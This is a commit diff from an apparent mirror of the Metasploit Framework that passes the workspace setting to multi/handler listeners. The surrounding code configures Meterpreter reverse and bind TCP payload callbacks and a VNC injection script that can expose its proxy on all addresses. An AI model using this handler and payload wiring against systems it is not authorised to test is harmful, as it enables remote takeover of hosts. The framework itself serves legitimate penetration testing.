1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Propogate the workspace down to multi-handlers

git-svn-id: file:///home/svn/framework3/trunk@8734 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2010-03-07 22:49:08 +00:00
parent a0d5ce473b
commit aebedfdb2d
5 changed files with 29 additions and 13 deletions

View File

@ -105,6 +105,7 @@ end
if(autoconn)
print_status("Trying to connect to the Meterpreter service at #{client.tunnel_peer.split(':')[0]}:#{rport}...")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
mul.datastore['LPORT'] = rport
mul.datastore['RHOST'] = client.tunnel_peer.split(':')[0]
@ -115,4 +116,3 @@ if(autoconn)
)
end

View File

@ -87,6 +87,7 @@ print_status("Agent executed with PID #{proc.pid}")
#
if(autoconn)
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport

View File

@ -83,6 +83,7 @@ client.sys.process.get_processes().each do |m|
# Our handler to recieve the callback.
handler = client.framework.exploits.create("multi/handler")
handler.datastore['WORKSPACE'] = client.workspace
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
handler.datastore['LHOST'] = rhost
handler.datastore['LPORT'] = rport
@ -97,3 +98,4 @@ client.sys.process.get_processes().each do |m|
end
end

View File

@ -104,6 +104,7 @@ client.sys.process.get_processes().each do |m|
# Our handler to recieve the callback.
handler = client.framework.exploits.create("multi/handler")
handler.datastore['WORKSPACE'] = client.workspace
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
handler.datastore['LHOST'] = rhost
handler.datastore['LPORT'] = rport
@ -119,3 +120,4 @@ client.sys.process.get_processes().each do |m|
end
end

View File

@ -16,6 +16,7 @@ opts = Rex::Parser::Arguments.new(
"-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"],
"-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"],
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"],
"-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"],
"-V" => [ false, "Disable the automatic launch of the VNC client"],
"-t" => [ false, "Tunnel through the current session connection. (Will be slower)"],
"-c" => [ false, "Enable the VNC courtesy shell"]
@ -32,10 +33,12 @@ lhost = "127.0.0.1"
autoconn = true
autovnc = true
anyaddr = false
courtesy = false
tunnel = false
inject = false
runme = "notepad.exe"
pay = nil
#
# Option parsing
@ -53,6 +56,8 @@ opts.parse(args) do |opt, idx, val|
runme = val
when "-D"
autoconn = false
when "-O"
anyaddr = true
when "-V"
autovnc = false
when "-c"
@ -85,17 +90,23 @@ else
pay.datastore['LPORT'] = rport
end
if (not courtesy)
pay.datastore['DisableCourtesyShell'] = true
end
if (anyaddr)
pay.datastore['VNCHOST'] = "0.0.0.0"
end
if autoconn
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
mul.datastore['WfsDelay'] = 7
if (not courtesy)
mul.datastore['DisableCourtesyShell'] = true
end
mul.datastore['AUTOVNC'] = autovnc